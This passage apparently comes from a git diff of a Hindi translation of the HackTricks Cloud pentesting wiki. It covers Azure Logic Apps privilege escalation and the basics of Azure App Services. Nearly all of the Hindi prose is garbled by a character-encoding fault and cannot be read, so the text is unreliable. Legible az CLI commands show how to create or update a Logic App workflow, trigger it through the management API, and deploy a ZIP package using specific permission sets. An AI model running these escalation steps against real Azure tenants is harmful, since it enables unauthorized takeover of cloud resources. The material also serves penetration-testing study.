+{% endhint %} + +## Logic Apps Privesc +SQL Database рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ: + +{% content-ref url="../az-services/az-logic-apps.md" %} +[az-logic-apps.md](../az-services/az-logic-apps.md) +{% endcontent-ref %} + +### ("Microsoft.Resources/subscriptions/resourcegroups/read", "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action") && ("Microsoft.Logic/workflows/triggers/run/action") + +рдЗрд╕ рдЕрдиреБрдорддрд┐ рдХреЗ рд╕рд╛рде, рдЖрдк Azure Logic Apps рд╡рд░реНрдХрдлрд╝реНрд▓реЛ рдмрдирд╛ рдпрд╛ рдЕрдкрдбреЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рд╡рд░реНрдХрдлрд╝реНрд▓реЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдФрд░ рд╡рд┐рднрд┐рдиреНрди рд╕рд┐рд╕реНрдЯрдо рдФрд░ рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рдмреАрдЪ рдПрдХреАрдХрд░рдг рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддреЗ рд╣реИрдВред + +{% code overflow="wrap" %} +```bash +az logic workflow create \ +--resource-group \ +--name \ +--definition \ +--location + +az logic workflow update \ +--name my-new-workflow \ +--resource-group logicappgroup \ +--definition +``` +{% endcode %} + +рдФрд░ рдЗрд╕реЗ рдмрджрд▓рдиреЗ рдХреЗ рдмрд╛рдж, рдЖрдк рдЗрд╕реЗ рдЗрд╕ рддрд░рд╣ рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ: +```bash +az rest \ +--method post \ +--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourcegroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/run?api-version=2016-10-01" \ +--body '{}' \ +--headers "Content-Type=application/json" +``` +### ("Microsoft.Web/sites/read", "Microsoft.Web/sites/basicPublishingCredentialsPolicies/read", "Microsoft.Web/sites/write", "Microsoft.Web/sites/config/list/action") && ("Microsoft.Web/sites/start/action") +рдЗрди рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде, рдЖрдк ZIP рдлрд╝рд╛рдЗрд▓ рддреИрдирд╛рддреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ Logic App рд╡рд░реНрдХрдлрд╝реНрд▓реЛ рддреИрдирд╛рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпреЗ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдРрдк рд╡рд┐рд╡рд░рдг рдкрдврд╝рдиреЗ, рдкреНрд░рдХрд╛рд╢рди рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ, рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХреЛ рд▓рд┐рдЦрдиреЗ рдФрд░ рдРрдк рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреА рд╕реВрдЪреА рдмрдирд╛рдиреЗ рдЬреИрд╕реА рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рддреА рд╣реИрдВред рдкреНрд░рд╛рд░рдВрдн рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде, рдЖрдк рдЗрдЪреНрдЫрд┐рдд рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╕рд╛рде рдПрдХ рдирдпрд╛ Logic App рдЕрдкрдбреЗрдЯ рдФрд░ рддреИрдирд╛рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред + +{% code overflow="wrap" %} +```bash +az logicapp deployment source config-zip \ +--name \ +--resource-group \ +--src +``` +{% endcode %} + +{% hint style="success" %} +AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ + +* [**рд╕рджрд╕реНрдпрддрд╛ рдпреЛрдЬрдирд╛рдПрдБ**](https://github.com/sponsors/carlospolop) рджреЗрдЦреЗрдВ! +* **рд╣рдорд╛рд░реЗ** ЁЯТм [**Discord рд╕рдореВрд╣**](https://discord.gg/hRep4RUj7f) рдпрд╛ [**рдЯреЗрд▓реАрдЧреНрд░рд╛рдо рд╕рдореВрд╣**](https://t.me/peass) рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВ рдпрд╛ **рд╣рдореЗрдВ** **Twitter** ЁЯРж [**@hacktricks\_live**](https://twitter.com/hacktricks_live)** рдкрд░ рдлреЙрд▓реЛ рдХрд░реЗрдВред** +* **рд╣реИрдХрд┐рдВрдЧ рдЯреНрд░рд┐рдХреНрд╕ рд╕рд╛рдЭрд╛ рдХрд░реЗрдВ рдФрд░** [**HackTricks**](https://github.com/carlospolop/hacktricks) рдФрд░ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) рдЧрд┐рдЯрд╣рдм рд░рд┐рдкреЛрдЬрд┐рдЯрд░реА рдореЗрдВ PR рд╕рдмрдорд┐рдЯ рдХрд░реЗрдВред + +
+{% endhint %} diff --git a/src/pentesting-cloud/azure-security/az-services/az-app-services.md b/src/pentesting-cloud/azure-security/az-services/az-app-services.md index edb6a3531..bb6457a68 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-app-services.md +++ b/src/pentesting-cloud/azure-security/az-services/az-app-services.md @@ -4,31 +4,31 @@ ## App Service Basic Information -Azure App Services рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЛ **рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди, рдореЛрдмрд╛рдЗрд▓ рдРрдк рдмреИрдХрдПрдВрдб, рдФрд░ APIs рдХреЛ рдмрд┐рдирд╛ рдХрд┐рд╕реА рд░реБрдХрд╛рд╡рдЯ рдХреЗ рдмрдирд╛рдиреЗ, рддреИрдирд╛рдд рдХрд░рдиреЗ рдФрд░ рд╕реНрдХреЗрд▓ рдХрд░рдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдпрд╣ рдХрдИ рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ рднрд╛рд╖рд╛рдУрдВ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ рдФрд░ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдФрд░ рдкреНрд░рдмрдВрдзрди рдХреЗ рд▓рд┐рдП рд╡рд┐рднрд┐рдиреНрди Azure рдЙрдкрдХрд░рдгреЛрдВ рдФрд░ рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд╕рд╛рде рдПрдХреАрдХреГрдд рд╣реЛрддрд╛ рд╣реИред +Azure App Services рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЛ **рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди, рдореЛрдмрд╛рдЗрд▓ рдРрдк рдмреИрдХрдПрдВрдб рдФрд░ APIs рдХреЛ рдмрд┐рдирд╛ рдХрд┐рд╕реА рд░реБрдХрд╛рд╡рдЯ рдХреЗ рдмрдирд╛рдиреЗ, рддреИрдирд╛рдд рдХрд░рдиреЗ рдФрд░ рд╕реНрдХреЗрд▓ рдХрд░рдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдпрд╣ рдХрдИ рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ рднрд╛рд╖рд╛рдУрдВ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ рдФрд░ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдФрд░ рдкреНрд░рдмрдВрдзрди рдХреЗ рд▓рд┐рдП рд╡рд┐рднрд┐рдиреНрди Azure рдЙрдкрдХрд░рдгреЛрдВ рдФрд░ рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд╕рд╛рде рдПрдХреАрдХреГрдд рд╣реЛрддрд╛ рд╣реИред рдкреНрд░рддреНрдпреЗрдХ рдРрдк рдПрдХ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХреЗ рдЕрдВрджрд░ рдЪрд▓рддрд╛ рд╣реИ рд▓реЗрдХрд┐рди рдЕрд▓рдЧрд╛рд╡ App Service рдпреЛрдЬрдирд╛рдУрдВ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ: - рдлреНрд░реА рдФрд░ рд╢реЗрдпрд░ рдХрд┐рдП рдЧрдП рд╕реНрддрд░реЛрдВ рдореЗрдВ рдРрдкреНрд╕ **рд╢реЗрдпрд░ рдХрд┐рдП рдЧрдП VMs** рдкрд░ рдЪрд▓рддреЗ рд╣реИрдВ -- рд╕реНрдЯреИрдВрдбрд░реНрдб рдФрд░ рдкреНрд░реАрдорд┐рдпрдо рд╕реНрддрд░реЛрдВ рдореЗрдВ рдРрдкреНрд╕ **рд╡рд┐рд╢реЗрд╖ VMs рдкрд░ рдЪрд▓рддреЗ рд╣реИрдВ рдЬреЛ рдХреЗрд╡рд▓ рдЙрд╕реА App Service рдпреЛрдЬрдирд╛ рдореЗрдВ рдРрдкреНрд╕ рджреНрд╡рд╛рд░рд╛ рд╕рд╛рдЭрд╛ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ**ред -- рдЖрдЗрд╕реЛрд▓реЗрдЯреЗрдб рд╕реНрддрд░ **рд╡рд┐рд╢реЗрд╖ VMs рдкрд░ рд╡рд┐рд╢реЗрд╖ рд╡рд░реНрдЪреБрдЕрд▓ рдиреЗрдЯрд╡рд░реНрдХреНрд╕** рдкрд░ рдЪрд▓рддреЗ рд╣реИрдВ, рдЬреЛ рдРрдкреНрд╕ рдХреЗ рдЕрд▓рдЧрд╛рд╡ рдореЗрдВ рд╕реБрдзрд╛рд░ рдХрд░рддреЗ рд╣реИрдВред +- рд╕реНрдЯреИрдВрдбрд░реНрдб рдФрд░ рдкреНрд░реАрдорд┐рдпрдо рд╕реНрддрд░реЛрдВ рдореЗрдВ рдРрдкреНрд╕ **рд╡рд┐рд╢рд┐рд╖реНрдЯ VMs рдкрд░ рдЪрд▓рддреЗ рд╣реИрдВ рдЬреЛ рдХреЗрд╡рд▓ рдЙрд╕реА App Service рдпреЛрдЬрдирд╛ рдореЗрдВ рдРрдкреНрд╕ рджреНрд╡рд╛рд░рд╛ рд╕рд╛рдЭрд╛ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ**ред +- рдЖрдЗрд╕реЛрд▓реЗрдЯреЗрдб рд╕реНрддрд░ **рд╡рд┐рд╢рд┐рд╖реНрдЯ VMs рдкрд░ рдЪрд▓рддреЗ рд╣реИрдВ рдЬреЛ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╡рд░реНрдЪреБрдЕрд▓ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рд╣реЛрддреЗ рд╣реИрдВ**, рдРрдкреНрд╕ рдХреЗ рдЕрд▓рдЧрд╛рд╡ рдореЗрдВ рд╕реБрдзрд╛рд░ рдХрд░рддреЗ рд╣реИрдВред > [!WARNING] -> рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **рдХреЛрдИ рднреА** рдЙрди рдЕрд▓рдЧрд╛рд╡реЛрдВ рдореЗрдВ рд╕реЗ **рдЕрдиреНрдп рд╕рд╛рдорд╛рдиреНрдп** **рд╡реЗрдм рдХрдордЬреЛрд░рд┐рдпреЛрдВ** (рдЬреИрд╕реЗ рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб, рдпрд╛ рдЗрдВрдЬреЗрдХреНрд╢рди) рдХреЛ **рд░реЛрдХрддрд╛ рдирд╣реАрдВ рд╣реИ**ред рдФрд░ рдпрджрд┐ рдПрдХ **рдкреНрд░рдмрдВрдзрди рдкрд╣рдЪрд╛рди** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдпрд╣ **рдЙрди рдкрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛ рд╕рдХрддрд╛ рд╣реИ**ред +> рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **рдХреЛрдИ рднреА** рдЙрди рдЕрд▓рдЧрд╛рд╡реЛрдВ рдореЗрдВ рд╕реЗ **рдЕрдиреНрдп рд╕рд╛рдорд╛рдиреНрдп** **рд╡реЗрдм рдХрдордЬреЛрд░рд┐рдпреЛрдВ** (рдЬреИрд╕реЗ рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдпрд╛ рдЗрдВрдЬреЗрдХреНрд╢рди) рдХреЛ **рд░реЛрдХрддрд╛ рдирд╣реАрдВ рд╣реИ**ред рдФрд░ рдпрджрд┐ рдПрдХ **рдкреНрд░рдмрдВрдзрди рдкрд╣рдЪрд╛рди** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдпрд╣ **рдЙрди рдкрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛ рд╕рдХрддрд╛ рд╣реИ**ред -рдРрдкреНрд╕ рдореЗрдВ рдХреБрдЫ рджрд┐рд▓рдЪрд╕реНрдк рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рд╣реИрдВ: +рдРрдкреНрд╕ рдореЗрдВ рдХреБрдЫ рджрд┐рд▓рдЪрд╕реНрдк рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рд╣реЛрддреЗ рд╣реИрдВ: -- **рд╣рдореЗрд╢рд╛ рдЪрд╛рд▓реВ**: рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдРрдк рд╣рдореЗрд╢рд╛ рдЪрд▓ рд░рд╣рд╛ рд╣реИред рдпрджрд┐ рд╕рдХреНрд╖рдо рдирд╣реАрдВ рд╣реИ, рддреЛ рдРрдк 20 рдорд┐рдирдЯ рдХреА рдирд┐рд╖реНрдХреНрд░рд┐рдпрддрд╛ рдХреЗ рдмрд╛рдж рдЪрд▓рдирд╛ рдмрдВрдж рдХрд░ рджреЗрдЧрд╛ рдФрд░ рдПрдХ рдЕрдиреБрд░реЛрдз рдкреНрд░рд╛рдкреНрдд рд╣реЛрдиреЗ рдкрд░ рдлрд┐рд░ рд╕реЗ рд╢реБрд░реВ рд╣реЛрдЧрд╛ред -- рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдПрдХ рд╡реЗрдмрдЬреЙрдм рд╣реИ рдЬрд┐рд╕реЗ рд▓рдЧрд╛рддрд╛рд░ рдЪрд▓рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рддреЛ рдпрд╣ рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрджрд┐ рдРрдк рд░реБрдХрддрд╛ рд╣реИ рддреЛ рд╡реЗрдмрдЬреЙрдм рднреА рд░реБрдХ рдЬрд╛рдПрдЧрд╛ред -- **SSH**: рдпрджрд┐ рд╕рдХреНрд╖рдо рд╣реИ, рддреЛ рдкрд░реНрдпрд╛рдкреНрдд рдЕрдиреБрдорддрд┐рдпреЛрдВ рд╡рд╛рд▓рд╛ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ SSH рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдРрдк рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред -- **рдбрд┐рдмрдЧрд┐рдВрдЧ**: рдпрджрд┐ рд╕рдХреНрд╖рдо рд╣реИ, рддреЛ рдкрд░реНрдпрд╛рдкреНрдд рдЕрдиреБрдорддрд┐рдпреЛрдВ рд╡рд╛рд▓рд╛ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдРрдк рдХреЛ рдбрд┐рдмрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрд╣ рд╣рд░ 48 рдШрдВрдЯреЗ рдореЗрдВ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдмрдВрдж рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред +- **рд╣рдореЗрд╢рд╛ рдЪрд╛рд▓реВ**: рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдРрдк рд╣рдореЗрд╢рд╛ рдЪрд▓ рд░рд╣рд╛ рд╣реИред рдпрджрд┐ рд╕рдХреНрд╖рдо рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдРрдк 20 рдорд┐рдирдЯ рдХреА рдирд┐рд╖реНрдХреНрд░рд┐рдпрддрд╛ рдХреЗ рдмрд╛рдж рдЪрд▓рдирд╛ рдмрдВрдж рдХрд░ рджреЗрдЧрд╛ рдФрд░ рдЬрдм рдПрдХ рдЕрдиреБрд░реЛрдз рдкреНрд░рд╛рдкреНрдд рд╣реЛрдЧрд╛ рддреЛ рдлрд┐рд░ рд╕реЗ рд╢реБрд░реВ рд╣реЛрдЧрд╛ред +- рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдПрдХ рд╡реЗрдмрдЬреЙрдм рд╣реИ рдЬрд┐рд╕реЗ рд▓рдЧрд╛рддрд╛рд░ рдЪрд▓рд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рддреЛ рдпрд╣ рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрджрд┐ рдРрдк рд░реБрдХ рдЬрд╛рддрд╛ рд╣реИ рддреЛ рд╡реЗрдмрдЬреЙрдм рднреА рд░реБрдХ рдЬрд╛рдПрдЧрд╛ред +- **SSH**: рдпрджрд┐ рд╕рдХреНрд╖рдо рд╣реИ, рддреЛ рдкрд░реНрдпрд╛рдкреНрдд рдЕрдиреБрдорддрд┐рдпреЛрдВ рд╡рд╛рд▓рд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ SSH рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдРрдк рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред +- **рдбреАрдмрдЧрд┐рдВрдЧ**: рдпрджрд┐ рд╕рдХреНрд╖рдо рд╣реИ, рддреЛ рдкрд░реНрдпрд╛рдкреНрдд рдЕрдиреБрдорддрд┐рдпреЛрдВ рд╡рд╛рд▓рд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдРрдк рдХреЛ рдбреАрдмрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрд╣ рд╣рд░ 48 рдШрдВрдЯреЗ рдореЗрдВ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЕрдХреНрд╖рдо рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред - **рд╡реЗрдм рдРрдк + рдбреЗрдЯрд╛рдмреЗрд╕**: рд╡реЗрдм рдХрдВрд╕реЛрд▓ рдПрдХ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЗ рд╕рд╛рде рдПрдХ рдРрдк рдмрдирд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбреЗрдЯрд╛рдмреЗрд╕ рдХрд╛ рдЪрдпрди рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ (SQLAzure, PostgreSQL, MySQL, MongoDB) рдФрд░ рдпрд╣ рдЖрдкрдХреЛ Redis рдХреЗ рд▓рд┐рдП рдПрдХ Azure Cache рдмрдирд╛рдиреЗ рдХреА рднреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред - рдбреЗрдЯрд╛рдмреЗрд╕ рдФрд░ Redis рдХреЗ рд▓рд┐рдП рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рд╡рд╛рд▓рд╛ URL **appsettings** рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред - **рдХрдВрдЯреЗрдирд░**: рдХрдВрдЯреЗрдирд░ рдХреЗ URL рдФрд░ рдЗрд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рдХреЗ App Service рдкрд░ рдПрдХ рдХрдВрдЯреЗрдирд░ рддреИрдирд╛рдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред -- **рдорд╛рдЙрдВрдЯреНрд╕**: рд╕реНрдЯреЛрд░реЗрдЬ рдЦрд╛рддреЛрдВ рд╕реЗ 5 рдорд╛рдЙрдВрдЯреНрд╕ рдмрдирд╛рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдпреЗ Azure Blob (рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЗрд╡рд▓) рдпрд╛ Azure Files рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рд╕реНрдЯреЛрд░реЗрдЬ рдЕрдХрд╛рдЙрдВрдЯ рдкрд░ рдПрдХреНрд╕реЗрд╕ рдХреБрдВрдЬреА рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░реЗрдЧрд╛ред +- **рдорд╛рдЙрдВрдЯреНрд╕**: рд╕реНрдЯреЛрд░реЗрдЬ рдЦрд╛рддреЛрдВ рд╕реЗ 5 рдорд╛рдЙрдВрдЯ рдмрдирд╛рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдпреЗ Azure Blob (рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЗрд╡рд▓) рдпрд╛ Azure Files рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рд╕реНрдЯреЛрд░реЗрдЬ рдЕрдХрд╛рдЙрдВрдЯ рдкрд░ рдПрдХреНрд╕реЗрд╕ рдХреБрдВрдЬреА рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░реЗрдЧрд╛ред ## Basic Authentication -рдЬрдм рдПрдХ рд╡реЗрдм рдРрдк (рдФрд░ рдПрдХ Azure рдлрд╝рдВрдХреНрд╢рди рдЖрдорддреМрд░ рдкрд░) рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рд╕рдВрдХреЗрдд рджреЗрдирд╛ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдЖрдк **рдмреБрдирд┐рдпрд╛рджреА рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╕рдХреНрд╖рдо рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ** (рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдмрдВрдж)ред рдпрд╣ рдореВрд▓ рд░реВрдк рд╕реЗ **SCM (рд╕реНрд░реЛрдд рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рдмрдВрдзрдХ) рдФрд░ FTP (рдлрд╛рдЗрд▓ рдЯреНрд░рд╛рдВрд╕рдлрд░ рдкреНрд░реЛрдЯреЛрдХреЙрд▓)** рдХреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рд▓рд┐рдП рд╕рдХреНрд╖рдо рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЙрди рддрдХрдиреАрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рддреИрдирд╛рдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реЛ рд╕рдХреЗред +рдЬрдм рдПрдХ рд╡реЗрдм рдРрдк (рдФрд░ рдПрдХ Azure рдлрд╝рдВрдХреНрд╢рди рдЖрдорддреМрд░ рдкрд░) рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рд╕рдВрдХреЗрдд рджреЗрдирд╛ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдЖрдк **рдмреБрдирд┐рдпрд╛рджреА рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╕рдХреНрд╖рдо рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ** (рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдЕрдХреНрд╖рдо)ред рдпрд╣ рдореВрд▓ рд░реВрдк рд╕реЗ **SCM (рд╕реНрд░реЛрдд рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рдмрдВрдзрдХ) рдФрд░ FTP (рдлрд╛рдЗрд▓ рдЯреНрд░рд╛рдВрд╕рдлрд░ рдкреНрд░реЛрдЯреЛрдХреЙрд▓)** рдХреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рд▓рд┐рдП рд╕рдХреНрд╖рдо рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЙрди рддрдХрдиреАрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рддреИрдирд╛рдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реЛ рд╕рдХреЗред SCM рдФрд░ FTP рд╕рд░реНрд╡рд░реЛрдВ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП, рдПрдХ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб** рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рдЗрд╕рд▓рд┐рдП, Azure рдХреБрдЫ **APIs рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдЗрди рдкреНрд▓реЗрдЯрдлрд╛рд░реНрдореЛрдВ рдХреЗ рд▓рд┐рдП URLs** рдФрд░ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИрдВред @@ -39,7 +39,7 @@ SCM ### Kudu -Kudu рд╡рд╣ рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рд╣реИ рдЬреЛ **SCM рдФрд░ рдПрдХ рд╡реЗрдм рдФрд░ API рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рджреЛрдиреЛрдВ рдХрд╛ рдкреНрд░рдмрдВрдзрди рдХрд░рддрд╛ рд╣реИ** рддрд╛рдХрд┐ рдПрдХ App Service рдХрд╛ рдкреНрд░рдмрдВрдзрди рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдФрд░ Git-рдЖрдзрд╛рд░рд┐рдд рддреИрдирд╛рддрд┐рдпреЛрдВ, рджреВрд░рд╕реНрде рдбрд┐рдмрдЧрд┐рдВрдЧ, рдФрд░ рдлрд╝рд╛рдЗрд▓ рдкреНрд░рдмрдВрдзрди рдХреНрд╖рдорддрд╛рдПрдБ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдпрд╣ рд╡реЗрдм рдРрдк рдореЗрдВ рдкрд░рд┐рднрд╛рд╖рд┐рдд SCM URL рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реБрд▓рдн рд╣реИред +Kudu рд╡рд╣ рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рд╣реИ рдЬреЛ **SCM рдФрд░ рдПрдХ рд╡реЗрдм рдФрд░ API рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рджреЛрдиреЛрдВ рдХрд╛ рдкреНрд░рдмрдВрдзрди рдХрд░рддрд╛ 